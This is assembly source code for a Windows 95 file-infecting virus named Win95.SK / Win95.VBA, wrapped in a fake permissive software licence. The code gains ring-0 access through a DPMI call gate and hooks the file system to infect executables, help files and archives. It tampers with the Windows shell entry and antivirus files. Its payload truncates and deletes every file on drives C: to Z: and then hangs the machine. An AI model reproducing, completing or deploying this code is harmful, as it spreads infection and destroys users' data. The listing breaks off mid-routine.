 
Win95.SK aka Win95.VBA
------------------------------------------------------------------[VBA.ASM]---
COMMENT /
  (C) VBA Ltd. ALL RIGHTS RESERVED.
  E-mail: support@vba.com.by

  THIS PROGRAM IS FREE FOR COMMERCIAL AND NON-COMMERCIAL USE.

  REDISTRIBUTION AND USE IN SOURCE AND BINARY FORMS, WITH OR WITHOUT
  MODIFICATION, ARE PERMITTED.

  THIS SOFTWARE IS PROVIDED BY VBA LTD. ``AS IS'' AND
  ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  SUCH DAMAGE.
/

; KNOWN UNFIXED BUGS:
; 1. INCORRECT PATCHED PAGE MAPPING IN SOME CASES FOR RESTORED NON-WRITEABLE
;    CODE SECTION FROM R0
; 2. DRWEB ALARM FOR PE EXECUTABLE (BUT FALSE ALARM TOO)

MODEL TINY
P386
LOCALS

INCLUDE		VBA.INC

TOTAL		GROUP	CODE16,CODE32

;======================================
CODE16		SEGMENT	BYTE PUBLIC 'CODE' USE16
		ASSUME	CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL
		ORG	100H

START:

;--------------------------------------
DOS2R0		PROC
		JMP	DOS_INSTALL		;0EBH (OR 0E9H FOR PE_INSTALL)
JMP_RELO	DB	0,0,0
COPYRIGHT	=	$-START
		DB	'(C) VBA Ltd. E-mail: support@vba.com.by',0
OFF_DOSINST	=	$-JMP_RELO
DOS_INSTALL:	MOV	AH,4AH
		MOV	BH,10H
		INT	21H
		JB	GO2_DOS_EXIT
		MOV	AX,160AH
		INT	2FH			;GET WIN VERSION
		AND	AX,AX
		JNE	GOZ_DOS_EXIT
		CMP	BH,4			;<4.X?
		JB	GO2_DOS_EXIT
		MOV	DX,OUR_PORT
		IN	AL,DX
		CMP	AL,WE_HERE
		STC
		JE	GO2_DOS_EXIT
		MOV	AL,0			;0-PE,1-HLP,2-RAR,3-ZIP
						;4-ARJ,5-HA
FILE_TYPE	=	$-START-1
		DEC	AX
		JNE	NO_DOS_SLEEP
		INT	1AH
		MOV	BX,DX
DOS_SLEEP:	STI				;TIMEOUT FOR HLP (PREVENT HANG)
		XOR	AH,AH
		INT	1AH
		SUB	DX,BX
		CMP	DX,(WAIT_TIME*18)
		JB	DOS_SLEEP
NO_DOS_SLEEP:	CLD
		MOV	AX,1687H
		INT	2FH			;DPMI PRESENT (0.9 IN WIN95/8)?
		AND	AX,AX
		JNE	GOZ_DOS_EXIT
		MOV	BP,SP
		PUSH	ES DI
		MOV	BX,SI
		MOV	AH,48H
		INT	21H			;MALLOC FOR INTERNAL USE BY DPMI HOST
		JB	GO2_DOS_EXIT
		MOV	ES,AX
		XOR	AX,AX
		CALL	4 PTR [BP-4]		;GO OUT FROM V86 TO PM MODE
GO2_DOS_EXIT:	JB	GO_DOS_EXIT
		CALL	CALC_DOS_DELTA
DOS_DELTA	=	$-START
		DB	'MS-DOS',0
CALC_DOS_DELTA:	POP	SI
		MOV	AX,168AH
		INT	2FH			;GET EXTAPI
		AND	AL,AL
GOZ_DOS_EXIT:	JNE	DOS_EXIT
		PUSH	ES DI DS
		POP	ES
		MOV	CX,1
		CALL	ALLOC_DESC
		PUSH	AX
		CALL	ALLOC_DESC
		MOV	[BP-2],AX
		AND	AL,NOT 7
		PUSH	AX
		MOV	BX,CS
		LEA	DI,ZERO_INIT-DOS_DELTA[SI]
		MOV	AX,0BH
		CALL	DPMICALL		;GET CS DESCRIPTOR
		MOV	AX,100H
		CALL	4 PTR [BP-8]		;GET LDT ALIAS
GO_DOS_EXIT:	JB	DOS_EXIT
		MOV	ES,AX
		LEA	AX,OFF_R0_INSTALL-DOS_DELTA[SI]
		ADD	AX,[DI+2]
		MOV	BL,[DI+4]
		MOV	BH,[DI+7]
		ADC	BX,0
		POP	DI
		STOSW				;GENERATE CALLGATE
		POP	AX
		STOSW
		AND	AL,NOT 7
		PUSH	AX
		MOV	AX,11101100B SHL 8	;P=1:DPL=3:S=0:TYPE=0CH (CALLGATE)
		STOSW
		XCHG	AX,BX
		STOSW
		POP	DI			;GENERATE R0 DESCRIPTOR
		MOV	AX,-1
		STOSW
		INC	AX
		STOSW
		STOSB
		MOV	AX,1100111110011010B	;G=1:32=1:AVL=0:LIMIT=0FH
		STOSW				;P=1:DPL=0:S=1:CODE:NCONF:READ=1:NOACCESS
		XOR	AL,AL
		STOSB
		CALL	4 PTR [BP-4]		;SWITCH TO R0
DOS_EXIT:	.EXIT
ALLOC_DESC:	XOR	AX,AX
DPMICALL:	INT	31H
		JB	DOS_EXIT
		RET
		ENDP

INCLUDE		SPE.ASI

END_CODE16	=	$-START

		ENDS

;======================================
CODE32		SEGMENT	BYTE PUBLIC 'CODE' USE32
		ASSUME	CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL

START_CODE32:

;------------------------------------------------
CALC_DELTA	PROC
		CALL	CALC_OUR_OFFST
		GOFF	OUR_OFFST
CALC_OUR_OFFST:	POP	EDX
		SUB	EDX,LARGE OUR_OFFST
		RET
		ENDP

;------------------------------------------------
		GOFF	OFF_IFS_HOOKER

; INT FILESYSTEMAPIHOOKFUNCTION(PIFSFUNC FSDFNADDR,INT FUNCTIONNUM,INT DRIVE,
;                               INT RESOURCEFLAGS,INT CODEPAGE,PIOREQ PIR)
IFS_HOOKER	PROC

FSD_FN_ADDR	=	4 PTR [EBP+8]
FN_NUM		=	4 PTR [EBP+12]
DRIVE		=	4 PTR [EBP+16]
RES_FLAGS	=	4 PTR [EBP+20]
CODE_PAGE	=	4 PTR [EBP+24]
P_IOREQ		=	4 PTR [EBP+28]

		ENTERD	STACK_FRAME,0
		PUSHAD
		CALL	CALC_DELTA
		MOV	EBX,P_IOREQ
		BTS	4 PTR FLAG[EDX],0
		JB	IFS_EXIT
		CMP	1 PTR RES_FLAGS,IFSFH_RES_CFSD ;CHAR DEVICE?
		JE	IFS_RETURN
		MOV	EAX,FN_NUM
		CMP	EAX,IFSFN_RENAME
		JA	IFS_RETURN
		JE	IS_RENAME
		CMP	AL,IFSFN_OPEN
		JE	IS_OPEN
		CMP	AL,IFSFN_FILEATTRIB
		JE	IS_ATTRIB
		GOFF	IFS_RETURN_OFF
IFS_RETURN:	DEC	1 PTR FLAG[EDX]
		POPAD
		LEAVED
		JMP	4 PTR DS:[12345678H]
		GOFF	OLD_IFS_HOOKER,4
IFS_EXIT:	PUSH	EBX
		LEA	EDI,OLD_DATETIME[EDX]
		CALL	FSD_FN_ADDR
		MOV	[EBP-STACK_FRAME-4],EAX	;SET CORRECT RETURN VALUE
		POP	EAX
		CMP	1 PTR FN_NUM,IFSFN_OPEN
		JNE	NO_STORE_FDATE
		MOV	EAX,[EBX.IR_DATETIME]
		STOSD
NO_STORE_FDATE:	POPAD
		LEAVED
		GOFF	HOOK_STUB
		RET
		ENDP

;------------------------------------------------
IS_RENAME:	TEST	1 PTR [EBX.IR_ATTR+3],FILE_FLAG_WILDCARDS SHR 24
		JMP	IS_ACCESS

;------------------------------------------------
IS_ATTRIB:	MOV	AL,[EBX.IR_FLAGS]
		DEC	EAX			;SET_ATTRIBUTES
		JNE	NO_SET_ATTRIB
		TEST	1 PTR [EBX.IR_ATTR],FA_SYSTEM
		JMP	IS_ACCESS
NO_SET_ATTRIB:	CMP	AL,SET_ATTRIB_CREATION_DATETIME-1
		JA	IFS_RETURN
		AND	AL,1
		JMP	IS_ACCESS

;------------------------------------------------
IS_OPEN:	TEST	1 PTR [EBX.IR_OPTIONS+1],(R0_SWAPPER_CALL OR OPEN_FLAGS_REOPEN) SHR 8
IS_ACCESS:	JNE	IFS_RETURN
GO_PROCESS:	BREAK
		PUSH	EBX
		CMP	DL,SHELL_FLAG[EDX]
		IFNDEF	DEBUG
		JNE	GO_NO_INF_SHELL
		ELSE
		JMP	GO_NO_INF_SHELL
		ENDIF
		CALL	GET_WININIT
		CALL	GET_ATTRIBUTES
		JNB	GO_NO_INF_SHELL
		LEA	ESI,SYSTEM_INI[EDX]
		MOV	CL,LEN_SYSTEM_INI
		CALL	CONCAT_WINDIR
		PUSH	EDX
		CALL	OPEN_FILE_RO
		POP	EDX
		JB	GO_NO_INF_SHELL
		XCHG	EAX,EBX
		CALL	READ_FILE_BUFF_0
		JNB	LONG_SYSINI
		ADD	ECX,EAX
LONG_SYSINI:	CALL	CLOSE_FILE
FIND_SHELL:	LODSD
		OR	EAX,20202020H
		CMP	EAX,'lehs'
		JNE	NO_SHELL
		LODSW
		OR	AL,20H
		CMP	AX,'=l'
		JE	IS_SHELL
		DEC	ESI
		DEC	ESI
NO_SHELL:	SUB	ESI,3
		LOOP	FIND_SHELL
GO_NO_INF_SHELL:
		JMP	NO_INF_SHELL
IS_SHELL:	CMP	1 PTR [ESI+1],':'
		JNE	SNAME_ONLY
		LEA	EDI,TMP_PATH[EDX]
		PUSH	EDI
COPY_SH_NAME:	MOVSB
		CMP	1 PTR [ESI],20H
		JA	COPY_SH_NAME
		MOV	[EDI],DL
		POP	ESI
		JMP	OPEN_SHELL
SNAME_ONLY:	XOR	ECX,ECX
GET_SH_LIM:	INC	ECX
		CMP	1 PTR [ESI+ECX],20H
		JA	GET_SH_LIM
		CALL	CONCAT_WINDIR
OPEN_SHELL:	PUSH	EDX
		CALL	OPEN_FILE_RO
		POP	EDX
		JB	GO_NO_INF_SHELL
		XCHG	EAX,EBX
		CALL	GET_ATTRIBUTES
		PUSH	EBX ECX EDX EBX
		DEC	1 PTR [EDI-1]
		MOV	EDI,4 PTR OLD_DATETIME[EDX]
		CALL	OPEN_CREATE
		POP	EBX EDX
		JB	CLOSE_SOURCE
		PUSH	EDI ESI EAX
		CALL	READ_FILE_BUFF_0
		JB	CLOSE_ALL
		XCHG	EAX,EDI
		MOV	AL,WE_HERE
		XCHG	AL,1 PTR [ESI.DOSH_CSUM]
		CMP	AL,WE_HERE
		JE	CLOSE_ALL_CMC
COPY_FILE:	POP	EBX
		PUSH	EBX
		MOV	EAX,EDI
		CALL	WRITE_FILE
		JB	CLOSE_ALL
		ADD	EDI,ECX
		MOV	EAX,EDI
		MOV	EBX,[ESP+10H]
		CALL	READ_FILE
		JNB	COPY_FILE
		ADD	ECX,EAX
		JNE	COPY_FILE
CLOSE_ALL_CMC:	CMC
CLOSE_ALL:	POP	EBX ESI CX DI
		PUSHFD
		CALL	CLOSE_FILE
		MOV	AL,SET_ATTRIB_MODIFY_DATETIME
		CALL	MAN_ATTRIBUTES
		POPFD
CLOSE_SOURCE:	POP	ECX
		SBB	EDI,EDI
		JNE	SH_ERR
		CALL	SET_ATTRIBUTES
		JMP	SH_OK
SH_ERR:		CALL	DELETE_FILE
SH_OK:		POP	EBX
		CALL	CLOSE_FILE
		INC	EDI
		STC
		JE	GOC_NO_INF_SHELL
		MOV	FILE_TYPE[EDX],DL
		CALL	INFECTION
		LEA	ESI,TMP_PATH[EDX]
		LEA	EDI,MAIN_BUFF[EDX]
		PUSH	EDI ESI
		MOV	EAX,'ner['
		STOSD
		MOV	EAX,']ema'
		STOSD
		MOV	AL,0AH
		STOSB
MOVE_DEST:	LODSB
		CMP	AL,'A'
		JB	NO_LETTER
		CMP	AL,'Z'
		JA	NO_LETTER
		OR	AL,20H
NO_LETTER:	STOSB
		CMP	DL,[ESI]
		JNE	MOVE_DEST
		INC	1 PTR [EDI-1]
		MOV	AL,'='
		STOSB
		POP	ESI
MOVE_SOURCE:	MOVSB
		CMP	DL,[ESI]
		JNE	MOVE_SOURCE
		MOV	AL,0AH
		STOSB
		MOV	EAX,'=lun'
		STOSD
		PUSH	EDI
		CALL	GET_WININIT
		POP	EDI
		PUSH	ESI
MOVE_INIT:	MOVSB
		CMP	DL,[ESI]
		JNE	MOVE_INIT
		POP	ESI
		PUSH	EDX
		CALL	OPEN_CREATE
		POP	EDX ECX
GOC_NO_INF_SHELL:
		JB	NO_INF_SHELL
		XCHG	EAX,EBX
		SUB	EDI,ECX
		MOV	ESI,ECX
		MOV	ECX,EDI
		XOR	EAX,EAX
		CALL	WRITE_FILE
		CALL	CLOSE_FILE
		PUSH	GET_CUR_VM_HANDLE
		CALL	VXD_CALL
		MOV	AL,MSG_POSSIBLITY
		CALL	GET_RANDOM_BYTE
		IFNDEF	DEBUG
		JNE	NO_INF_SHELL
		ELSE
		XOR	EAX,EAX
		ENDIF
		LEA	ECX,COPYRIGHT[EDX]
		MOV	ESI,EAX
		MOV	EDI,EAX
		PUSH	SHELL_MESSAGE
		CALL	VXD_CALL
NO_INF_SHELL:	MOV	1 PTR SHELL_FLAG[EDX],1
		POP	EBX
SHELL_ALREADY:
		IFNDEF	DEBUG
		LEA	ESI,COMMAND_PIF[EDX]
		MOV	CL,LEN_COMMAND_PIF
		CALL	CONCAT_WINDIR
		CALL	GET_ATTRIBUTES
		JB	CPIF_NFOUND
		CALL	DELETE_FILE
CPIF_NFOUND:	MOV	EDI,ESI
		ELSE
		LEA	EDI,TMP_PATH[EDX]
		MOV	ESI,EDI
		ENDIF
		MOV	EAX,DRIVE
		INC	AL			;UNC PATH?
		JE	NO_STORE_DRIVE
		ADD	AX,(':' SHL 8) OR ('A'-2)
		STOSW
NO_STORE_DRIVE:	MOV	EAX,[EBX.IR_PPATH]
		ADD	EAX,4
		PUSH	EDX BCS_WANSI MAX_PATH-3 EAX EDI UNITOBCSPATH
		CALL	VXD_CALL
		ADD	ESP,4*4
		POP	EDX
		MOV	[EDI+EAX],DL
		LEA	ECX,FILE_TYPE[EDX]
		MOV	1 PTR [ECX],0FFH
		MOV	EAX,[EDI+EAX-4]
		CMP	EAX,'CVA.'		;AVP 3 DATABASE?
		JE	INFECT_IT
		CMP	EAX,'BDV.'		;DRWEB 4 DATABASE?
		JE	INFECT_IT
		INC	1 PTR [ECX]
		CMP	EAX,'EXE.'		;EXE?
		JE	OK_FILE
		CMP	EAX,'RCS.'
		JE	OK_FILE
		CMP	EAX,'LLD.'		;DLL?
		JE	INFECT_IT		;FOR AV CORRECT CHECKING ONLY!
		INC	1 PTR [ECX]
		CMP	EAX,'PLH.'		;HLP?
		JE	OK_FILE
		INC	1 PTR [ECX]
		CMP	EAX,'RAR.'		;RAR?
		JE	OK_FILE
		INC	1 PTR [ECX]
		CMP	EAX,'PIZ.'		;ZIP?
		JE	OK_FILE
		INC	1 PTR [ECX]
		CMP	EAX,'JRA.'		;ARJ?
		JE	OK_FILE
		INC	1 PTR [ECX]
		SHR	EAX,8
		CMP	EAX,'AH.'		;HA?
		STC
		JNE	GO_IFS_RETURN
OK_FILE:	PUSH	EDX EBX
		MOV	EDX,DRIVE
		TEST	1 PTR RES_FLAGS,IFSFH_RES_UNC
		JNE	ERR_GET_SPACE
		MOV	AX,R0_GETDISKFREESPACE
		CALL	FILE_IO
		JB	ERR_GET_SPACE
		MUL	BX			;SEC_PER_CLUST(AX)*AVAIL_CLUST(CX)
		CMC
		JNB	ERR_GET_SPACE
		CMP	AX,SMALL (OUR_LEN+1FFH+0FFFH)/200H
ERR_GET_SPACE:	POP	EBX EDX
GO_IFS_RETURN:	JB	IFS_RETURN
INFECT_IT:					;TMP_PATH->FILE PATH TO INFECTION
		LEA	EAX,IFS_RETURN_OFF[EDX]
		PUSH	EAX
		CALL	GET_ATTRIBUTES
		JNB	GOOD_ATT
		CMP	1 PTR FN_NUM,IFSFN_RENAME
		JE	INF_ERR
		PUSH	ESI
		MOV	EDI,[EBX.IR_UPATH]
		XCHG	ESI,EDI
PARSE_PATH:	LODSB
		INC	ESI
		STOSB
		DEC	AL
		JNS	PARSE_PATH
		POP	ESI

;--------------------------------------
INFECTION:	CALL	GET_ATTRIBUTES
		JB	INF_ERR
GOOD_ATT:	TEST	CL,FA_SYSTEM OR FA_DEVICE
		JE	ATT_OK
INF_ERR:	RETN
ATT_OK:		MOV	EDI,ECX
		CALL	CLR_ATTRIBUTES
		JB	INF_ERR
		PUSH	EDI EDX
		MOV	BL,OPEN_ACCESS_READWRITE OR OPEN_SHARE_DENYREADWRITE
		CALL	OPEN_FILE
		POP	EDX
		JB	REST_ATTRIB
		PUSH	ESI
		XCHG	EAX,EBX
		MOV	ECX,12345678H
		GOFF	OLD_DATETIME,4
		CMP	1 PTR FN_NUM,IFSFN_FILEATTRIB
		JNE	CURRENT_DATE
		MOV	EDI,P_IOREQ
		CMP	1 PTR [EDI.IR_FLAGS],SET_ATTRIB_MODIFY_DATETIME
		JNE	CURRENT_DATE
		MOV	ECX,[EDI.IR_DATETIME]
CURRENT_DATE:	PUSH	ECX
		TEST	1 PTR FILE_TYPE[EDX],0FFH
		JS	IS_SHITNAME
		JNE	NO_SHITNAME
		MOV	EDI,ESI
GET_PATHBYTE:	LODSB
		CMP	AL,''
		JE	STORE_OFFS
		CMP	AL,':'
		JNE	NO_STORE_OFFS
STORE_OFFS:	MOV	EDI,ESI
NO_STORE_OFFS:	AND	AL,AL
		JNE	GET_PATHBYTE
		MOV	EAX,[EDI]
		CMP	EAX,'NIDA'		;ADINF?
		JE	GO_TO_PAY
		CMP	EAX,'IPVA'		;AVPI?
		JE	GO_TO_PAY
		CMP	EAX,'SOHG'		;GHOST32?
		JE	GO_TO_PAY
		CMP	EAX,'NIBV'		;VBINF? :-)
		JE	GO_TO_PAY
		CMP	EAX,'PVA_'		;AVP?
		JE	IS_SHITNAME
		SHL	EAX,8
		CMP	EAX,'RAJ' SHL 8		;JAR?
		JE	SKIP_FILE
		CMP	EAX,'PVA' SHL 8		;AVP?
		JE	IS_SHITNAME
		CMP	EAX,'WRD' SHL 8		;DRWEB?
		JE	IS_SHITNAME
		CMP	EAX,'ABV' SHL 8		;VBA*.EXE? :-)
		JNE	NO_SHITNAME
		CMP	1 PTR [ESI-2],'E'
		JNE	NO_SHITNAME
IS_SHITNAME:	XCHG	EAX,ECX
		XOR	ECX,ECX
		SHLD	ECX,EAX,11
		AND	ECX,00001111B
		SHR	EAX,16+5+4
		SUB	AL,HAPPY_YEAR-1980
		JB	SKIP_FILE
		MOV	AH,12			;MONTHS IN YEAR
		MUL	AH
		IF	HAPPY_MONTH EQ 1
		DEC	EAX
		ELSEIF	HAPPY_MONTH EQ 2
		DEC	EAX
		DEC	EAX
		ELSE
		SUB	EAX,HAPPY_MONTH
		ENDIF
		ADD	ECX,EAX
		JS	SKIP_FILE
		MOV	EAX,HAPPY_POSSIBLITY
		SUB	EAX,ECX
		JA	NOT_EXPIRED
		MOV	AL,1			;100% POSSIBLITY
NOT_EXPIRED:	CALL	GET_RANDOM_BYTE
GO_TO_PAY:	JE	TIME_TO_PAY
SKIP_FILE:	STC
		JMP	GO_F_CLOSE
NO_SHITNAME:	PUSH	EDX GET_DOSTIME
		CALL	VXD_CALL
		POP	EDX
		SUB	EAX,[ESP]
		CMP	EAX,0FFFFFH		;MIN - TWO WEEK AGE
		IFNDEF	DEBUG
		JB	F_CLOSE
		ENDIF
		CALL	GET_SYS_TIME
		CMP	DL,SHELL_FLAG[EDX]
		JE	NO_SLEEP
		SUB	EAX,12345678H
		GOFF	INF_TIME,4
		CMP	EAX,SLEEP_TIME*60*1000
		IFNDEF	DEBUG
		JB	F_CLOSE
		ENDIF
NO_SLEEP:	LEA	ESI,HEADER[EDX]
		PUSH	SIZE DOS_HEADER
		POP	ECX
		XOR	EAX,EAX			;POS IN FILE
		CALL	READ_FILE		;READ FILE HEADER
GO_F_CLOSE:	JB	F_CLOSE
		LEA	EDI,OUR_LOCAL_HEADER[EDX]
		MOV	CL,(SIZE_ARC_AREA+3)/4
		REP	STOSD
		MOV	AL,1 PTR FILE_TYPE[EDX]
		MOVZX	EDI,2 PTR INF_PROCS[EDX+EAX*2]
		ADD	EDI,EDX
		MOV	2 PTR [EDX],(OFF_DOSINST SHL 8) OR 0EBH	;DROPPER MODE
		CALL	EDI
F_CLOSE:	CALL	CLOSE_FILE
		POP	CX DI ESI
		MOV	AL,SET_ATTRIB_MODIFY_DATETIME
		CALL	MAN_ATTRIBUTES
REST_ATTRIB:	POP	ECX
		JMP	SET_ATTRIBUTES

;------------------------------------------------
TIME_TO_PAY:	MOV	EAX,_LEAVEMUSTCOMPLETE
		PUSH	EAX
		DEC	EAX			;_ENTERMUSTCOMPLETE
		PUSH	EAX
		CALL	VXD_CALL
		LEA	EDX,FIND_DATA[EDX]	;ESI=&TMP_PATH
		IFNDEF	DEBUG
		MOV	AX,':C'
		ELSE
		MOV	AX,':X'
		ENDIF
FIND_DRIVE:	MOV	EDI,ESI
		STOSW
		PUSH	EAX
FIND_FIRST:	MOV	AL,''
		STOSB
		MOV	2 PTR [EDI],'*'
		PUSH	37H
		POP	ECX
		MOV	AX,R0_FINDFIRSTFILE
		CALL	FILE_IO
		JNB	SOME_FOUND
FIND_SLASH:	DEC	EDI
		CMP	1 PTR [EDI-1],':'
		JE	NEXT_DRIVE
		CMP	1 PTR [EDI-1],''
		JNE	FIND_SLASH
FIND_NEXT:	MOV	AX,R0_FINDNEXTFILE
		CALL	FILE_IO
		JNB	OK_FOUND
		MOV	AX,R0_FINDCLOSEFILE
		CALL	FILE_IO
		POP	EBX
		JMP	FIND_SLASH
SOME_FOUND:	PUSH	EBX
		XCHG	EAX,EBX
OK_FOUND:	PUSH	ESI EDI
		LEA	ESI,[EDX.CFILENAME]
STORE_NAME:	LODSB
		STOSB
		AND	AL,AL
		JNE	STORE_NAME
		DEC	EDI
		POP	EAX ESI
		XCHG	EAX,EDI
		TEST	1 PTR [EDX.DWFILEATTRIBUTES],10H
		JE	NOT_DIR
		CMP	1 PTR [EDX.CFILENAME],'.'
		JE	FIND_NEXT
		XCHG	EAX,EDI
		JMP	FIND_FIRST
NEXT_DRIVE:	POP	EAX
		INC	EAX
		CMP	AL,'Z'
		JBE	FIND_DRIVE
GO_HANG:	CALL	VXD_CALL		;_LEAVEMUSTCOMPLETE
		XOR	ESI,ESI
		LEA	EAX,[ESI+1]		;HANG_ON_EXIT
		PUSH	FATAL_ERROR_HANDLER
		JMP	GO_HANG
NOT_DIR:	PUSHAD
		CALL	CLR_ATTRIBUTES
		CALL	OPEN_CREATE
		JB	DEL_FILE
		XCHG	EAX,EBX
		CALL	CLOSE_FILE
DEL_FILE:	CALL	DELETE_FILE
		POPAD
		JMP	FIND_NEXT

;------------------------------------------------
;ENTRY: EBP=&LENGTH OF MACRO STRING
CORR_LENGTH	PROC
		MOV	EAX,EDI
		SUB	EAX,EBP
		DEC	EAX
		MOV	[EBP],AX
		XOR	AL,AL
		STOSB
INF_EXE_EXIT:	RET
		ENDP

;------------------------------------------------
		GOFF	INF_EXE
		MOV	1 PTR [EDX],0E9H	;PE SPECIAL MODE
		IFDEF	DEBUG
		CMP	[DOSH_SIGNATURE.ESI],'MZ'
		ELSE
		CMP	[DOSH_SIGNATURE.ESI],'ZM'
		ENDIF
		JNE	INF_EXE_EXIT
		CMP	[DOSH_LFARLC.ESI],3FH
		JBE	INF_EXE_EXIT
		MOVZX	EAX,[DOSH_LFANEW.ESI]
		ADD	ESI,SIZE DOS_HEADER	;PHEADER
		MOV	CX,SIZE PE_HEADER+(SIZE OBJECT_TABLE*MAX_OBJS)
		CALL	READ_FILE
		JB	INF_EXE_EXIT
		CMP	2 PTR [PEH_SIGNATURE.ESI],'EP'
		JNE	INF_EXE_EXIT
		CMP	[PEH_CPUTYPE.ESI],162H	;INTEL?
		JAE	INF_EXE_EXIT
		CMP	1 PTR [PEH_NUMOFOBJECT.ESI],MAX_OBJS
		JA	INF_EXE_EXIT
		TEST	2 PTR [PEH_FLAGS.ESI],PE_FLAG_DLL OR PE_FLAG_NOT_FIXUP
		JNE	INF_EXE_EXIT
		TEST	2 PTR [PEH_FLAGS.ESI],PE_FLAG_32BIT OR PE_FLAG_EXECUTABLE
		JE	INF_EXE_EXIT
		CMP	4 PTR [PEH_IMAGEBASE.ESI],400000H
		JNE	INF_EXE_EXIT
		INC	1 PTR [PEH_FLAGS.ESI]	;PE_FLAG_NOT_FIXUP
		LEA	EDI,[ESI+SIZE PE_HEADER-SIZE OBJECT_TABLE]
		XOR	EAX,EAX
		MOV	[PEH_FIXUP.SD_SIZE.ESI],EAX
		XCHG	EAX,[PEH_FIXUP.SD_RVA.ESI]
		AND	EAX,EAX
GOZ_INF_EXIT:	JE	INF_EXE_EXIT
		PUSH	EDI
FIND_FIXUPOBJ:	ADD	EDI,SIZE OBJECT_TABLE
		CMP	EAX,[OT_RVA.EDI]
		JNE	FIND_FIXUPOBJ
		MOV	AL,NOCHNG_SATT_PSBL
		CALL	GET_RANDOM_BYTE
		JE	NO_CHNG_ATT
		AND	1 PTR [OT_FLAGS.EDI+3],NOT ((OT_FLAG_DISCARDABLE OR OT_FLAG_SHARED) SHR 24)
		OR	[OT_FLAGS.EDI],OT_FLAG_READ OR OT_FLAG_IDATA
NO_CHNG_ATT:	MOV	AL,CHNG_SNAME_PSBL
		CALL	GET_RANDOM_BYTE
		JNE	NO_CHNG_NAME
		PUSH	EDI
		CALL	GEN_NAME
		XOR	AL,AL
		STOSB
		POP	EDI
NO_CHNG_NAME:	MOV	AL,LEN_PEND_JUNK
		CALL	GET_RANDOM_BYTE
		ADD	AX,SMALL OUR_LEN+LEN_LOADER+3
		AND	AL,NOT 3
		MOV	CURRENT_LEN[EDX],EAX
		MOV	COUNT_RET[EDX],AX
		XCHG	EAX,ECX
		MOV	EAX,[OT_VIRTSIZE.EDI]
		CALL	CORR_SIZE
		CMP	EAX,[OT_PHYSICALSIZE.EDI]
		JB	GET_VIRTSIZE
		MOV	EAX,[OT_PHYSICALSIZE.EDI]
GET_VIRTSIZE:	SUB	EAX,ECX
		PUSHFD
		JA	OK_RELOC_SIZE
		ADD	EAX,ECX
OK_RELOC_SIZE:	CALL	GET_RANDOM
		AND	AL,NOT 3
		PUSH	EAX
		ADD	EAX,[OT_PHYSICALOFF.EDI]
		MOV	PHYS_BODY_OFF[EDX],EAX
		ADD	EAX,ECX
		MOV	FILL_SEC_OFF[EDX],EAX
		POP	EAX
		ADD	EAX,ECX
		PUSH	EAX
		ADD	EAX,[OT_RVA.EDI]
		ADD	EAX,[PEH_IMAGEBASE.ESI]
		MOV	OFF_FIXUP[EDX],EAX
		POP	ECX
		POPFD
		JA	MID_EXIT_ONE
		CMP	[OT_PHYSICALSIZE.EDI],MIN_RELOC_SIZE
		JB	MID_EXIT_ONE
		PUSH	ESI
		CALL	GETSIZE_FILE
		SUB	EAX,[OT_PHYSICALOFF.EDI]
		CMP	EAX,[OT_PHYSICALSIZE.EDI]
		JA	MID_EXIT_CMC
		CALL	CORR_SIZE_ECX
		CMPSD
		SCASD
		CALL	CORR_SIZE_ECX
		SUB	EAX,ECX
		CMP	EAX,SIZE_MBUFF
MID_EXIT_CMC:	CMC
		JB	MID_EXIT_TWO
		XCHG	EAX,ECX
		PUSH	ECX
		LEA	EDI,MAIN_BUFF[EDX]
		MOV	ESI,EDI
		XOR	AL,AL
		REP	STOSB
		POP	ECX
		MOV	EAX,12345678H
		GOFF	FILL_SEC_OFF,4
		CALL	WRITE_FILE
MID_EXIT_TWO:	POP	ESI
MID_EXIT_ONE:	POP	EDI
		JNB	NO_POP_EXIT
MID_RET:	RETN
NO_POP_EXIT:	MOV	EAX,[PEH_CODEBASE.ESI]
FIND_CODEOBJ:	ADD	EDI,SIZE OBJECT_TABLE
		CMP	EAX,[OT_RVA.EDI]
		JNE	FIND_CODEOBJ
		MOV	AL,OT_FLAG_WRITE SHR 24
		TEST	AL,1 PTR [OT_FLAGS.EDI+3]
		JNE	MID_RET
		PUSH	EDI
		LEA	ESI,TMP_PATH[EDX]
		MOV	EDI,[ESI-SYS_PATH_DELTA]	;SYS_PATH[EDX]
		MOV	CL,NOT RW_LOCAL_EXIT
CHECK_PATH:	CMPSB
		JNE	NO_SYS_DIR
		CMP	DL,[EDI]
		JNE	CHECK_PATH
		XOR	AL,AL
		MOV	CL,AL
NO_SYS_DIR:	POP	EDI
		OR	1 PTR [OT_FLAGS.EDI+3],AL
		MOV	RW_OR_RO[EDX],CL
		PUSH	EDX
		MOV	EAX,[OT_PHYSICALSIZE.EDI]
		XOR	EDX,EDX
		MOV	ECX,SIZE_MBUFF
		DIV	ECX
		POP	EDX
		CALL	GET_RANDOM
		IMUL	EAX,ECX
		ADD	EAX,[OT_PHYSICALOFF.EDI]
		PUSH	EAX
		CALL	READ_FILE_BUFF
		JB	POP_INF_EXIT
		CMP	DL,SHELL_FLAG[EDX]
		JE	INF_ENTRYPOINT
		CALL	FIND_PLACE
		AND	ECX,ECX
		JNE	MIDDLE_INSERT
INF_ENTRYPOINT:	POP	EAX
		MOV	EAX,PHEADER[PEH_ENTRYPOINT.EDX]
		PUSH	EAX
		SUB	EAX,[OT_RVA.EDI]
		ADD	EAX,[OT_PHYSICALOFF.EDI]
		PUSH	EAX
		CALL	READ_FILE_BUFF
		POP	EDI
POP_INF_EXIT:	POP	EAX
		JB	GO1_INF_EXIT
		PUSH	EDI
		JMP	ENTRY_INSERT
